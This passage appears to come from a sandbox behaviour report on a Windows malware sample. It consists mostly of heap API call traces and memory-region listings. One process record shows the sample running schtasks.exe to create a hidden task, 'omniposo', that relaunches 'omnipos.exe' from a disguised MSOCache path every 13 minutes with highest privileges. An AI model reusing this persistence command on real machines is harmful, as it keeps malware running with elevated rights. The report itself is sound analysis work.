(hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474bb70) returned 1 [0115.997] GetProcessHeap () returned 0x29464740000 [0115.997] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474bb70) returned 0x20 [0115.997] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474bb70) returned 1 [0115.997] GetProcessHeap () returned 0x29464740000 [0115.997] GetProcessHeap () returned 0x29464740000 [0115.997] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474abd0) returned 1 [0115.997] GetProcessHeap () returned 0x29464740000 [0115.997] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474abd0) returned 0xc [0115.997] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474abd0) returned 1 [0115.997] GetProcessHeap () returned 0x29464740000 [0115.997] GetProcessHeap () returned 0x29464740000 [0115.997] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474bae0) returned 1 [0115.997] GetProcessHeap () returned 0x29464740000 [0116.000] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474bae0) returned 0x20 [0116.000] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474bae0) returned 1 [0116.000] GetProcessHeap () returned 0x29464740000 [0116.000] GetProcessHeap () returned 0x29464740000 [0116.000] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474acb0) returned 1 [0116.000] GetProcessHeap () returned 0x29464740000 [0116.000] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474acb0) returned 0xe [0116.000] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474acb0) returned 1 [0116.000] GetProcessHeap () returned 0x29464740000 [0116.001] GetProcessHeap () returned 0x29464740000 [0116.001] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474ba50) returned 1 [0116.001] GetProcessHeap () returned 0x29464740000 [0116.001] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474ba50) returned 0x20 [0116.001] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474ba50) returned 1 [0116.001] GetProcessHeap () returned 0x29464740000 [0116.001] GetProcessHeap () returned 0x29464740000 [0116.001] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474a930) returned 1 [0116.001] GetProcessHeap () returned 0x29464740000 [0116.001] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474a930) returned 0x10 [0116.001] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474a930) returned 1 [0116.001] GetProcessHeap () returned 0x29464740000 [0116.001] GetProcessHeap () returned 0x29464740000 [0116.001] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474bab0) returned 1 [0116.001] GetProcessHeap () returned 0x29464740000 [0116.001] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474bab0) returned 0x20 [0116.002] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474bab0) returned 1 [0116.002] GetProcessHeap () returned 0x29464740000 [0116.002] GetProcessHeap () returned 0x29464740000 [0116.002] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x294647448d0) returned 1 [0116.002] GetProcessHeap () returned 0x29464740000 [0116.002] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x294647448d0) returned 0x18 [0116.002] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x294647448d0) returned 1 [0116.002] GetProcessHeap () returned 0x29464740000 [0116.002] GetProcessHeap () returned 0x29464740000 [0116.002] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464748f70) returned 1 [0116.002] GetProcessHeap () returned 0x29464740000 [0116.002] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464748f70) returned 0x20 [0116.003] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464748f70) returned 1 [0116.003] GetProcessHeap () returned 0x29464740000 [0116.003] GetProcessHeap () returned 0x29464740000 [0116.003] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x294647491e0) returned 1 [0116.003] GetProcessHeap () returned 0x29464740000 [0116.003] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x294647491e0) returned 0x20 [0116.003] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x294647491e0) returned 1 [0116.003] GetProcessHeap () returned 0x29464740000 [0116.003] GetProcessHeap () returned 0x29464740000 [0116.003] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464748fd0) returned 1 [0116.003] GetProcessHeap () returned 0x29464740000 [0116.003] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464748fd0) returned 0x20 [0116.003] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464748fd0) returned 1 [0116.004] GetProcessHeap () returned 0x29464740000 [0116.004] GetProcessHeap () returned 0x29464740000 [0116.004] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464749150) returned 1 [0116.004] GetProcessHeap () returned 0x29464740000 [0116.004] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464749150) returned 0x20 [0116.004] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464749150) returned 1 [0116.004] GetProcessHeap () returned 0x29464740000 [0116.004] GetProcessHeap () returned 0x29464740000 [0116.004] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464744490) returned 1 [0116.004] GetProcessHeap () returned 0x29464740000 [0116.004] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464744490) returned 0x18 [0116.004] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464744490) returned 1 [0116.004] GetProcessHeap () returned 0x29464740000 [0116.004] GetProcessHeap () returned 0x29464740000 [0116.004] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464749180) returned 1 [0116.004] GetProcessHeap () returned 0x29464740000 [0116.004] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464749180) returned 0x20 [0116.005] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464749180) returned 1 [0116.005] GetProcessHeap () returned 0x29464740000 [0116.005] GetProcessHeap () returned 0x29464740000 [0116.005] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x294647491b0) returned 1 [0116.005] GetProcessHeap () returned 0x29464740000 [0116.005] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x294647491b0) returned 0x20 [0116.005] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x294647491b0) returned 1 [0116.005] GetProcessHeap () returned 0x29464740000 [0116.005] GetProcessHeap () returned 0x29464740000 [0116.005] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464749240) returned 1 [0116.005] GetProcessHeap () returned 0x29464740000 [0116.005] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464749240) returned 0x20 [0116.006] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464749240) returned 1 [0116.006] GetProcessHeap () returned 0x29464740000 [0116.006] GetProcessHeap () returned 0x29464740000 [0116.006] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x294647490f0) returned 1 [0116.006] GetProcessHeap () returned 0x29464740000 [0116.006] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x294647490f0) returned 0x20 [0116.006] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x294647490f0) returned 1 [0116.006] GetProcessHeap () returned 0x29464740000 [0116.006] GetProcessHeap () returned 0x29464740000 [0116.006] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464749030) returned 1 [0116.006] GetProcessHeap () returned 0x29464740000 [0116.006] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464749030) returned 0x20 [0116.007] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464749030) returned 1 [0116.007] GetProcessHeap () returned 0x29464740000 [0116.007] GetProcessHeap () returned 0x29464740000 [0116.007] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x294647444b0) returned 1 [0116.007] GetProcessHeap () returned 0x29464740000 [0116.007] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x294647444b0) returned 0x18 [0116.007] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x294647444b0) returned 1 [0116.007] GetProcessHeap () returned 0x29464740000 [0116.007] GetProcessHeap () returned 0x29464740000 [0116.007] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464748fa0) returned 1 [0116.007] GetProcessHeap () returned 0x29464740000 [0116.007] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464748fa0) returned 0x20 [0116.007] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464748fa0) returned 1 [0116.007] GetProcessHeap () returned 0x29464740000 [0116.007] GetProcessHeap () returned 0x29464740000 [0116.007] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464744f10) returned 1 [0116.007] GetProcessHeap () returned 0x29464740000 [0116.007] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464744f10) returned 0x18 [0116.007] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464744f10) returned 1 [0116.008] exit (_Code=0) Thread: id = 153 os_tid = 0x12f4 Process: id = "16" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3310d000" os_pid = "0x99c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 13 /tr \"'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2856 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2857 start_va = 0x99b9e00000 end_va = 0x99b9ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000099b9e00000" filename = "" Region: id = 2858 start_va = 0x99ba000000 end_va = 0x99ba07ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000099ba000000" filename = "" Region: id = 2859 start_va = 0x1b207890000 end_va = 0x1b2078affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b207890000" filename = "" Region: id = 2860 start_va = 0x1b2078b0000 end_va = 0x1b2078c4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b2078b0000" filename = "" Region: id = 2861 start_va = 0x1b2078d0000 end_va = 0x1b2078d3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b2078d0000" filename = "" Region: id = 2862 start_va = 0x1b2078e0000 end_va = 0x1b2078e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b2078e0000" filename = "" Region: id = 2863 start_va = 0x1b2078f0000 end_va = 0x1b2078f1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b2078f0000" filename = "" Region: id = 2864 start_va = 0x7df5ffac0000 end_va = 0x7ff5ffabffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffac0000" filename = "" Region: id = 2865 start_va = 0x7ff6848d0000 end_va = 0x7ff6848f2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6848d0000" filename = "" Region: id = 2866 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2867 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2868 start_va = 0x1b207900000 end_va = 0x1b207a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b207900000" filename = "" Region: id = 2869 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2870 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2871 start_va = 0x1b207890000 end_va = 0x1b20789ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b207890000" filename = "" Region: id = 2872 start_va = 0x7ff6847d0000 end_va = 0x7ff6848cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6847d0000" filename = "" Region: id = 2873 start_va = 0x1b207a20000 end_va = 0x1b207addfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2874 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2875 start_va = 0x99ba080000 end_va = 0x99ba0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000099ba080000" filename = "" Region: id = 2876 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2877 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2878 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2879 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2880 start_va = 0x1b2078a0000 end_va = 0x1b2078affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b2078a0000" filename = "" Region: id = 2881 start_va = 0x1b207900000 end_va = 0x1b207906fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b207900000" filename = "" Region: id = 2882 start_va = 0x1b207920000 end_va = 0x1b207a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b207920000" filename = "" Region: id = 2883 start_va = 0x1b207ae0000 end_va = 0x1b207c22fff monitored = 0 entry_point = 0x1b207b08210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2884 start_va = 0x1b207910000 end_va = 0x1b207916fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b207910000" filename = "" Region: id = 2885 start_va = 0x1b207ae0000 end_va = 0x1b207af2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2886 start_va = 0x1b207b00000 end_va = 0x1b207e36fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2887 start_va = 0x1b207e40000 end_va = 0x1b207f1cfff monitored = 0 entry_point = 0x1b207e9e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2888 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2889 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2890 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2891 start_va = 0x1b207e40000 end_va = 0x1b207fc7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b207e40000" filename = "" Region: id = 2892 start_va = 0x1b207fd0000 end_va = 0x1b208008fff monitored = 0 entry_point = 0x1b207fd12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2893 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2894 start_va = 0x1b207fd0000 end_va = 0x1b208150fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b207fd0000" filename = "" Region: id = 2895 start_va = 0x1b208160000 end_va = 0x1b20955ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b208160000" filename = "" Region: id = 2896 start_va = 0x1b209560000 end_va = 0x1b209560fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b209560000" filename = "" Region: id = 2897 start_va = 0x1b209570000 end_va = 0x1b209570fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001b209570000" filename = "" Region: id = 2898 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2899 start_va = 0x1b209580000 end_va = 0x1b209580fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b209580000" filename = "" Region: id = 2900 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2901 start_va = 0x1b209590000 end_va = 0x1b209590fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001b209590000" filename = "" Region: id = 2902 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2903 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2904 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 154 os_tid = 0x130c [0115.818] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0115.818] __set_app_type (_Type=0x1) [0115.818] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0115.818] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0115.819] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0115.819] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0115.819] CsrIdentifyAlertableThread () returned 0x0 [0115.819] GetProcessHeap () returned 0x1b207920000 [0115.819] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x18) returned 0x1b207924f00 [0115.819] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.819] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0115.819] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0115.819] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0115.819] RtlVerifyVersionInfo (VersionInfo=0x99ba07f4a0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0115.820] GetProcessHeap () returned 0x1b207920000 [0115.820] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x18) returned 0x1b207924f20 [0115.820] lstrlenW (lpString="") returned 0 [0115.820] GetProcessHeap () returned 0x1b207920000 [0115.820] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x2) returned 0x1b207924f40 [0115.820] GetProcessHeap () returned 0x1b207920000 [0115.820] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b2079248b0 [0115.820] GetProcessHeap () returned 0x1b207920000 [0115.820] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x18) returned 0x1b2079248e0 [0115.820] GetProcessHeap () returned 0x1b207920000 [0115.820] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b207924900 [0115.820] GetProcessHeap () returned 0x1b207920000 [0115.820] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b207924930 [0115.820] GetProcessHeap () returned 0x1b207920000 [0115.820] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b2079244a0 [0115.821] GetProcessHeap () returned 0x1b207920000 [0115.821] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b207928ee0 [0115.821] GetProcessHeap () returned 0x1b207920000 [0115.821] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x18) returned 0x1b2079244d0 [0115.821] GetProcessHeap () returned 0x1b207920000 [0115.821] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b207928f40 [0115.821] GetProcessHeap () returned 0x1b207920000 [0115.821] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b207929120 [0115.821] GetProcessHeap () returned 0x1b207920000 [0115.821] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b207929150 [0115.821] GetProcessHeap () returned 0x1b207920000 [0115.821] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b207928f10 [0115.821] GetProcessHeap () returned 0x1b207920000 [0115.821] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x18) returned 0x1b2079244f0 [0115.821] GetProcessHeap () returned 0x1b207920000 [0115.821] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b207928fa0 [0115.821] GetProcessHeap () returned 0x1b207920000 [0115.821] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b207929030 [0115.821] GetProcessHeap () returned 0x1b207920000 [0115.821] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b207929210 [0115.821] GetProcessHeap () returned 0x1b207920000 [0115.821] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b207929180 [0115.821] SetThreadUILanguage (LangId=0x0) returned 0x409 [0115.823] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.823] GetProcessHeap () returned 0x1b207920000 [0115.823] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b207928f70 [0115.823] GetProcessHeap () returned 0x1b207920000 [0115.823] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b207928fd0 [0115.824] GetProcessHeap () returned 0x1b207920000 [0115.824] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b2079291b0 [0115.824] GetProcessHeap () returned 0x1b207920000 [0115.824] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b207929000 [0115.824] GetProcessHeap () returned 0x1b207920000 [0115.824] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b207929060 [0115.824] GetProcessHeap () returned 0x1b207920000 [0115.824] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x18) returned 0x1b207924ca0 [0115.824] _memicmp (_Buf1=0x1b207924ca0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.824] GetProcessHeap () returned 0x1b207920000 [0115.824] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x208) returned 0x1b207929b80 [0115.824] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1b207929b80, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0115.824] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x99ba07f5f8 | out: lpdwHandle=0x99ba07f5f8) returned 0x76c [0115.877] GetProcessHeap () returned 0x1b207920000 [0115.877] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x776) returned 0x1b20792a8e0 [0115.877] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1b20792a8e0 | out: lpData=0x1b20792a8e0) returned 1 [0115.878] VerQueryValueW (in: pBlock=0x1b20792a8e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x99ba07f590, puLen=0x99ba07f5f0 | out: lplpBuffer=0x99ba07f590*=0x1b20792ac90, puLen=0x99ba07f5f0) returned 1 [0115.880] _memicmp (_Buf1=0x1b207924ca0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.880] _vsnwprintf (in: _Buffer=0x1b207929b80, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x99ba07f568 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0115.881] VerQueryValueW (in: pBlock=0x1b20792a8e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x99ba07f580, puLen=0x99ba07f5e8 | out: 